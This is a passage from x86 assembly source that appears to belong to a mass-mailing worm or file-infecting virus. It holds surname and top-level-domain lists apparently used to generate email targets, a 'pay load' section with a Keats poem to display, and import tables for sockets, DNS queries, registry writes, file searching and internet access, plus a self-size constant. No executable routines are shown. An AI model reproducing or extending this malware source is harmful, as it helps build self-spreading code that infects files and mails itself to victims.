DB 'AGUILAR',0,'VEGA',0,'GLOVER',0,'MANNING',0,'COHEN',0,'HARMON',0,'RODGERS',0,'ROBBINS',0
DB 'NEWTON',0,'TODD',0,'BLAIR',0,'HIGGINS',0,'INGRAM',0,'REESE',0,'CANNON',0,'STRICKLAND',0
DB 'TOWNSEND',0,'POTTER',0,'GOODWIN',0,'WALTON',0,'ROWE',0,'HAMPTON',0,'ORTEGA',0
DB 'PATTON',0,'SWANSON',0,'JOSEPH',0,'FRANCIS',0,'GOODMAN',0,'MALDONADO',0,'YATES',0
DB 'BECKER',0,'ERICKSON',0,'HODGES',0,'RIOS',0,'CONNER',0,'ADKINS',0,'WEBSTER',0
DB 'NORMAN',0,'MALONE',0,'HAMMOND',0,'FLOWERS',0,'COBB',0,'MOODY',0,'QUINN',0,'BLAKE',0
DB 'MAXWELL',0,'POPE',0,'FLOYD',0,'OSBORNE',0,'PAUL',0,'MCCARTHY',0,'GUERRERO',0,'LINDSEY',0
DB 'ESTRADA',0,'SANDOVAL',0,'GIBBS',0,'TYLER',0,'GROSS',0,'FITZGERALD',0,'STOKES',0
DB 'DOYLE',0,'SHERMAN',0,'SAUNDERS',0,'WISE',0,'COLON',0,'GILL',0,'ALVARADO',0,'GREER',0
DB 'PADILLA',0,'SIMON',0,'WATERS',0,'NUNEZ',0,'BALLARD',0,'SCHWARTZ',0,'MCBRIDE',0
DB 'HOUSTON',0,'CHRISTENSEN',0,'KLEIN',0,'PRATT',0,'BRIGGS',0,'PARSONS',0,'MCLAUGHLIN',0
DB 'ZIMMERMAN',0,'FRENCH',0,'BUCHANAN',0,'MORAN',0,'COPELAND',0,'ROY',0,'PITTMAN',0
DB 'BRADY',0,'MCCORMICK',0,'HOLLOWAY',0,'BROCK',0,'POOLE',0,'FRANK',0,'LOGAN',0,'OWEN',0
DB 'BASS',0,'MARSH',0,'DRAKE',0,'WONG',0,'JEFFERSON',0,'PARK',0,'MORTON',0,'ABBOTT',0
DB 'SPARKS',0,'PATRICK',0,'NORTON',0,'HUFF',0,'CLAYTON',0,'MASSEY',0,'LLOYD',0
DB 'FIGUEROA',0,'CARSON',0,'BOWERS',0,'ROBERSON',0,'BARTON',0,'TRAN',0,'LAMB',0
DB 'HARRINGTON',0,'CASEY',0,'BOONE',0,'CORTEZ',0,'CLARKE',0,'MATHIS',0,'SINGLETON',0
DB 'WILKINS',0,'CAIN',0,'BRYAN',0,'UNDERWOOD',0,'HOGAN',0,'MCKENZIE',0,'COLLIER',0,'LUNA',0
DB 'PHELPS',0,'MCGUIRE',0,'ALLISON',0,'BRIDGES',0,'WILKERSON',0,'NASH',0,'SUMMERS',0
DB 'ATKINS',0,'WILCOX',0,'PITTS',0,'CONLEY',0,'MARQUEZ',0,'BURNETT',0,'RICHARD',0
DB 'COCHRAN',0,'CHASE',0,'DAVENPORT',0,'HOOD',0,'GATES',0,'CLAY',0,'AYALA',0,'SAWYER',0
DB 'ROMAN',0,'VAZQUEZ',0,'DICKERSON',0,'HODGE',0,'ACOSTA',0,'FLYNN',0,'ESPINOZA',0
DB 'NICHOLSON',0,'MONROE',0,'WOLF',0,'MORROW',0,'KIRK',0,'RANDALL',0,'ANTHONY',0
DB 'WHITAKER',0,'OCONNOR',0,'SKINNER',0,'WARE',0,'MOLINA',0,'KIRBY',0,'HUFFMAN',0
DB 'BRADFORD',0,'CHARLES',0,'GILMORE',0,'DOMINGUEZ',0,'ONEAL',0,'BRUCE',0,'LANG',0
DB 'COMBS',0,'KRAMER',0,'HEATH',0,'HANCOCK',0,'GALLAGHER',0,'GAINES',0,'SHAFFER',0
DB 'SHORT',0,'WIGGINS',0,'MATHEWS',0,'MCCLAIN',0,'FISCHER',0,'WALL',0,'SMALL',0,'MELTON',0
DB 'HENSLEY',0,'BOND',0,'DYER',0,'CAMERON',0,'GRIMES',0,'CONTRERAS',0,'CHRISTIAN',0
DB 'WYATT',0,'BAXTER',0,'SNOW',0,'MOSLEY',0,'SHEPHERD',0,'LARSEN',0,'HOOVER',0,'BEASLEY',0
DB 'GLENN',0,'PETERSEN',0,'WHITEHEAD',0,'MEYERS',0,'KEITH',0,'GARRISON',0,'VINCENT',0
DB 'SHIELDS',0,'HORN',0,'SAVAGE',0,'OLSEN',0,'SCHROEDER',0,'HARTMAN',0,'WOODARD',0
DB 'MUELLER',0,'KEMP',0,'DELEON',0,'BOOTH',0,'PATEL',0,'CALHOUN',0,'WILEY',0,'EATON',0
DB 'CLINE',0,'NAVARRO',0,'HARRELL',0,'LESTER',0,'HUMPHREY',0,'PARRISH',0,'DURAN',0
DB 'HUTCHINSON',0,'HESS',0,'DORSEY',0,'BULLOCK',0,'ROBLES',0,'BEARD',0,'DALTON',0
DB 'AVILA',0,'VANCE',0,'RICH',0,'BLACKWELL',0,'YORK',0,'JOHNS',0,'BLANKENSHIP',0
DB 'TREVINO',0,'SALINAS',0,'CAMPOS',0,'PRUITT',0,'MOSES',0,'CALLAHAN',0,'GOLDEN',0
DB 'MONTOYA',0,'HARDIN',0,'GUERRA',0,'MCDOWELL',0,'CAREY',0,'STAFFORD',0,'GALLEGOS',0
DB 'HENSON',0,'WILKINSON',0,'BOOKER',0,'MERRITT',0,'MIRANDA',0,'ATKINSON',0,'ORR',0
DB 'DECKER',0,'HOBBS',0,'PRESTON',0,'TANNER',0,'KNOX',0,'PACHECO',0,'STEPHENSON',0
DB 'GLASS',0,'ROJAS',0,'SERRANO',0,'MARKS',0,'HICKMAN',0,'ENGLISH',0,'SWEENEY',0
DB 'STRONG',0,'PRINCE',0,'MCCLURE',0,'CONWAY',0,'WALTER',0,'ROTH',0,'MAYNARD',0,'FARRELL',0
DB 'LOWERY',0,'HURST',0,'NIXON',0,'WEISS',0,'TRUJILLO',0,'ELLISON',0,'SLOAN',0,'JUAREZ',0
DB 'WINTERS',0,'MCLEAN',0,'RANDOLPH',0,'LEON',0,'BOYER',0,'VILLARREAL',0,'MCCALL',0
DB 'GENTRY',0,'CARRILLO',0,'KENT',0,'AYERS',0,'LARA',0,'SHANNON',0,'SEXTON',0,'PACE',0
DB 'HULL',0,'LEBLANC',0,'BROWNING',0,'VELASQUEZ',0,'LEACH',0,'CHANG',0,'HOUSE',0,'SELLERS',0
DB 'HERRING',0,'NOBLE',0,'FOLEY',0,'BARTLETT',0,'MERCADO',0,'LANDRY',0,'DURHAM',0,'WALLS',0
DB 'BARR',0,'MCKEE',0,'BAUER',0,'RIVERS',0,'EVERETT',0,'BRADSHAW',0,'PUGH',0,'VELEZ',0
DB 'RUSH',0,'ESTES',0,'DODSON',0,'MORSE',0,'SHEPPARD',0,'WEEKS',0,'CAMACHO',0,'BEAN',0
DB 'BARRON',0,'LIVINGSTON',0,'MIDDLETON',0,'SPEARS',0,'BRANCH',0,'BLEVINS',0,'CHEN',0
DB 'KERR',0,'MCCONNELL',0,'HATFIELD',0,'HARDING',0,'ASHLEY',0,'SOLIS',0,'HERMAN',0,'FROST',0
DB 'GILES',0,'BLACKBURN',0,'WILLIAM',0,'PENNINGTON',0,'WOODWARD',0,'FINLEY',0,'MCINTOSH',0
DB 'KOCH',0,'BEST',0,'SOLOMON',0,'MCCULLOUGH',0,'DUDLEY',0,'NOLAN',0,'BLANCHARD',0,'RIVAS',0
DB 'BRENNAN',0,'MEJIA',0,'KANE',0,'BENTON',0,'JOYCE',0,'BUCKLEY',0,'HALEY',0,'VALENTINE',0
DB 'MADDOX',0,'RUSSO',0,'MCKNIGHT',0,'BUCK',0,'MOON',0,'MCMILLAN',0,'CROSBY',0,'BERG',0
DB 'DOTSON',0,'MAYS',0,'ROACH',0,'CHURCH',0,'CHAN',0,'RICHMOND',0,'MEADOWS',0,'FAULKNER',0
DB 'ONEILL',0,'KNAPP',0,'KLINE',0,'BARRY',0,'OCHOA',0,'JACOBSON',0,'GAY',0,'AVERY',0
DB 'HENDRICKS',0,'HORNE',0,'SHEPARD',0,'HEBERT',0,'CHERRY',0,'CARDENAS',0,'MCINTYRE',0
DB 'WHITNEY',0,'WALLER',0,'HOLMAN',0,'DONALDSON',0,'CANTU',0,'TERRELL',0,'MORIN',0
DB 'GILLESPIE',0,'FUENTES',0,'TILLMAN',0,'SANFORD',0,'BENTLEY',0,'PECK',0,'KEY',0,'SALAS',0
DB 'ROLLINS',0,'GAMBLE',0,'DICKSON',0,'BATTLE',0,'SANTANA',0,'CABRERA',0,'CERVANTES',0
DB 'HOWE',0,'HINTON',0,'HURLEY',0,'SPENCE',0,'ZAMORA',0,'YANG',0,'MCNEIL',0,'SUAREZ',0
DB 'CASE',0,'PETTY',0,'GOULD',0,'MCFARLAND',0,'SAMPSON',0,'CARVER',0,'BRAY',0,'ROSARIO',0
DB 'MACDONALD',0,'STOUT',0,'HESTER',0,'MELENDEZ',0,'DILLON',0,'FARLEY',0,'HOPPER',0
DB 'GALLOWAY',0,'POTTS',0,'BERNARD',0,'JOYNER',0,'STEIN',0,'AGUIRRE',0,'OSBORN',0,'MERCER',0
DB 'BENDER',0,'FRANCO',0,'ROWLAND',0,'SYKES',0,'BENJAMIN',0,'TRAVIS',0,'PICKETT',0,'CRANE',0
DB 'SEARS',0,'MAYO',0,'DUNLAP',0,'HAYDEN',0,'WILDER',0,'MCKAY',0,'COFFEY',0,'MCCARTY',0
DB 'EWING',0,'COOLEY',0,'VAUGHAN',0,'BONNER',0,'COTTON',0,'HOLDER',0,'STARK',0,'FERRELL',0
DB 'CANTRELL',0,'FULTON',0,'LYNN',0,'LOTT',0,'CALDERON',0,'ROSA',0,'POLLARD',0,'HOOPER',0
DB 'BURCH',0,'MULLEN',0,'FRY',0,'RIDDLE',0,'LEVY',0,'DAVID',0,'DUKE',0,'ODONNELL',0,'GUY',0
DB 'MICHAEL',0,'BRITT',0,'FREDERICK',0,'DAUGHERTY',0,'BERGER',0,'DILLARD',0,'ALSTON',0
DB 'JARVIS',0,'FRYE',0,'RIGGS',0,'CHANEY',0,'ODOM',0,'DUFFY',0,'FITZPATRICK',0,'VALENZUELA',0
DB 'MERRILL',0,'MAYER',0,'ALFORD',0,'MCPHERSON',0,'ACEVEDO',0,'DONOVAN',0,'BARRERA',0
DB 'ALBERT',0,'COTE',0,'REILLY',0,'COMPTON',0,'RAYMOND',0,'MOONEY',0,'MCGOWAN',0,'CRAFT',0
DB 'CLEVELAND',0,'CLEMONS',0,'WYNN',0,'NIELSEN',0,'BAIRD',0,'STANTON',0,'SNIDER',0
DB 'ROSALES',0,'BRIGHT',0,'WITT',0,'STUART',0,'HAYS',0,'HOLDEN',0,'RUTLEDGE',0,'KINNEY',0
DB 'CLEMENTS',0,'CASTANEDA',0,'SLATER',0,'HAHN',0,'EMERSON',0,'CONRAD',0,'BURKS',0
DB 'DELANEY',0,'PATE',0,'LANCASTER',0,'SWEET',0,'JUSTICE',0,'TYSON',0,'SHARPE',0
DB 'WHITFIELD',0,'TALLEY',0,'MACIAS',0,'IRWIN',0,'BURRIS',0,'RATLIFF',0,'MCCRAY',0,'MADDEN',0
DB 'KAUFMAN',0,'BEACH',0,'GOFF',0,'CASH',0,'BOLTON',0,'MCFADDEN',0,'LEVINE',0,'GOOD',0
DB 'BYERS',0,'KIRKLAND',0,'KIDD',0,'WORKMAN',0,'CARNEY',0,'DALE',0,'MCLEOD',0,'HOLCOMB',0
DB 'ENGLAND',0,'FINCH',0,'HEAD',0,'BURT',0,'HENDRIX',0,'SOSA',0,'HANEY',0,'FRANKS',0
DB 'SARGENT',0,'NIEVES',0,'DOWNS',0,'RASMUSSEN',0,'BIRD',0,'HEWITT',0,'LINDSAY',0,'LE',0
DB 'FOREMAN',0,'VALENCIA',0,'ONEIL',0,'DELACRUZ',0,'VINSON',0,'DEJESUS',0,'HYDE',0
DB 'FORBES',0,'GILLIAM',0,'GUTHRIE',0,'WOOTEN',0,'HUBER',0,'BARLOW',0,'BOYLE',0,'MCMAHON',0
DB 'BUCKNER',0,'ROCHA',0,'PUCKETT',0,'LANGLEY',0,'KNOWLES',0,'COOKE',0,'VELAZQUEZ',0
DB 'WHITLEY',0,'NOEL',0,'VANG',0,'SHEA',0,'ROUSE',0,'HARTLEY',0,'MAYFIELD',0,'ELDER',0
DB 'RANKIN',0,'HANNA',0,'COWAN',0,'LUCERO',0,'ARROYO',0,'SLAUGHTER',0,'HAAS',0,'OCONNELL',0
DB 'MINOR',0,'KENDRICK',0,'SHIRLEY',0,'KENDALL',0,'BOUCHER',0,'ARCHER',0,'BOGGS',0
DB 'ODELL',0,'DOUGHERTY',0, 'ANDERSEN',0,'NEWELL',0
; a list of top level domains
topDomains DB 'com', 0, 'edu', 0, 'sa', 0, 'gv', 0, 'ac', 0, 'co', 0
DB 'at', 0, 'be', 0, 'bio', 0, 'br', 0, 'eti', 0, 'jor', 0
DB 'org', 0, 'tur', 0, 'nb', 0, 'yk', 0, 'bj', 0, 'hl', 0
DB 'hi', 0, 'nx', 0, 'cn', 0, 'ca', 0, 'dk', 0, 'gov', 0
DB 'ec', 0, 'il', 0, 'in', 0, 'jp', 0, 'nm', 0, 'kr', 0
DB 'mm', 0, 'mx', 0, 'pl', 0, 'ro', 0, 'ru', 0, 'sg', 0
DB 'th', 0, 'tr', 0, 'tw', 0, 'mi', 0, 'ac', 0, 'za', 0
DB 'nom', 0, 'ie', 0, 'jp', 0, 'mil', 0, 'se', 0, 'or', 0
DB 'cng', 0, 'lel', 0, 'ppg', 0, 'tv', 0, 'nf', 0, 'cc', 0
DB 'sh', 0, 'js', 0, 'sc', 0, 'xj', 0, 'fr', 0, 'go', 0
DB 'kr', 0, 'www', 0, 'sk', 0, 'uk', 0, 'alt', 0, 'ua', 0
DB 'hk', 0, 'gr', 0, 'cl', 0, 'br', 0, 'se', 0, 'cnt', 0
DB 'fot', 0, 'med', 0, 'pro', 0, 'vet', 0, 'ns', 0, 'tj', 0
DB 'zj', 0, 'gz', 0, 'tm', 0, 're', 0, 'k12', 0, 'biz', 0
DB 'by', 0, 'us', 0, 'af', 0, 'asn', 0, 'adm', 0, 'fst', 0
DB 'psc', 0, 'zlg', 0, 'nt', 0, 'cq', 0, 'ah', 0, 'yn', 0
DB 'ne', 0, 'pt', 0, 'rec', 0, 'tc', 0, 'wa', 0, 'ad', 0
DB 'eu', 0, 'uy', 0, 'am', 0, 'au', 0, 'adv', 0, 'ecn', 0
DB 'g12', 0, 'psi', 0, 'on', 0, 'he', 0, 'hb', 0, 'xz', 0
DB 'mo', 0, 'res', 0, 'lt', 0, 'nl', 0, 'tf', 0, 'lv', 0
DB 'itv', 0, 'hu', 0, 'as', 0, 'eng', 0, 'ab', 0, 'pe', 0
DB 'hn', 0, 'sn', 0, 'cx', 0, 'is', 0, 'lu', 0, 'ms', 0
DB 'no', 0, 'to', 0, 'gb', 0, 'plc', 0, 'arq', 0, 'esp', 0
DB 'ind', 0, 'ntr', 0, 'slg', 0, 'bc', 0, 'qc', 0, 'ln', 0
DB 'gd', 0, 'gs', 0, 'cz', 0, 'fin', 0, 'gf', 0, 'mc', 0
DB 'nu', 0, 'bbs', 0, 'kz', 0, 'tk', 0, 'bz', 0, 'me', 0
DB 'art', 0, 'etc', 0, 'inf', 0, 'odo', 0, 'tmp', 0, 'mb', 0
DB 'jl', 0, 'gx', 0, 'qh', 0, 'de', 0, 'vg', 0, 'ngo', 0
DB 'ch', 0, 'cd', 0, 'es', 0
DB 'firm', 0, 'info', 0, 'aero', 0, 'ernet', 0, 'school', 0
DB 'asso', 0, 'presse', 0, 'muni', 0, 'store', 0, 'name', 0
DB '$'
; pay load
szTitle DB "On Seeing the Elgin Marbles for the First Time.", 0
szElginMarbles DB "My spirit is too weak--mortality", CRLF
DB "Weighs heavily on me like unwilling sleep,", CRLF
DB "And each imagin'd pinnacle and steep", CRLF
DB "Of godlike hardship, tells me I must die", CRLF
DB "Like a sick Eagle looking at the sky.", CRLF
DB "Yet 'tis a gentle luxury to weep", CRLF
DB "That I have not the cloudy winds to keep,", CRLF
DB "Fresh for the opening of the morning's eye.", CRLF
DB "Such dim-conceived glories of the brain", CRLF
DB "Bring round the heart an undescribable feud;", CRLF
DB "So do these wonders a most dizzy pain,", CRLF
DB "That mingles Grecian grandeur with the rude", CRLF
DB "Wasting of old Time--with a billowy main--", CRLF
DB "A sun--a shadow of a magnitude.", CRLF
DB CRLF
DB "-- John Keats (1796-1821)", CRLF
DB 0
;-------------------------------------------------------------------------------------------------;
; Import Section ;
;-------------------------------------------------------------------------------------------------;
ImportTable API_Imports_9x
ImportDll Kernel32
ImportFunction ExitProcess
ImportFunction CreateFileA
ImportFunction ReadFile
ImportFunction SetFilePointer
ImportFunction WriteFile
ImportFunction CloseHandle
ImportFunction CreateThread
ImportFunction GetCurrentThread
ImportFunction GetExitCodeThread
ImportFunction lstrcpyA
ImportFunction lstrcatA
ImportFunction lstrlenA
ImportFunction lstrcmpA
ImportFunction RtlZeroMemory
ImportFunction RtlMoveMemory
ImportFunction ExitThread
ImportFunction GlobalAlloc
ImportFunction GlobalFree
ImportFunction GetDateFormatA
ImportFunction GetSystemTime
ImportFunction GetModuleFileNameA
ImportFunction GetVersion
ImportFunction GetFileSize
ImportFunction GetDriveTypeA
ImportFunction SetCurrentDirectoryA
ImportFunction GetCurrentDirectoryA
ImportFunction FindFirstFileA
ImportFunction FindNextFileA
ImportFunction FindClose
ImportFunction GetCommandLineA
ImportFunction GetTickCount
ImportFunction GetSystemDirectoryA
EndImport
ImportDll User32
ImportFunction MessageBoxA
ImportFunction CharUpperA
EndImport
ImportDll Wsock32
ImportFunction htons
ImportFunction connect
ImportFunction socket
ImportFunction gethostname
ImportFunction gethostbyname
ImportFunction inet_ntoa
ImportFunction WSAStartup
ImportFunction WSACleanup
ImportFunction recv
ImportFunction send
ImportFunction setsockopt
ImportFunction inet_addr
ImportFunction closesocket
EndImport
ImportDll Advapi32
ImportFunction RegOpenKeyA
ImportFunction RegSetValueExA
ImportFunction RegCloseKey
EndImport
EndImportTable
ImportTable API_Imports_2k
ImportDll Dnsapi
ImportFunction DnsQuery_A
ImportFunction DnsRecordListFree
EndImport
ImportDll Wininet
ImportFunction InternetGetConnectedState
ImportFunction InternetOpenA
ImportFunction InternetCloseHandle
ImportFunction InternetOpenUrlA
ImportFunction InternetReadFile
EndImport
EndImportTable
CODE_SIZE EQU ($ - offset main)
End main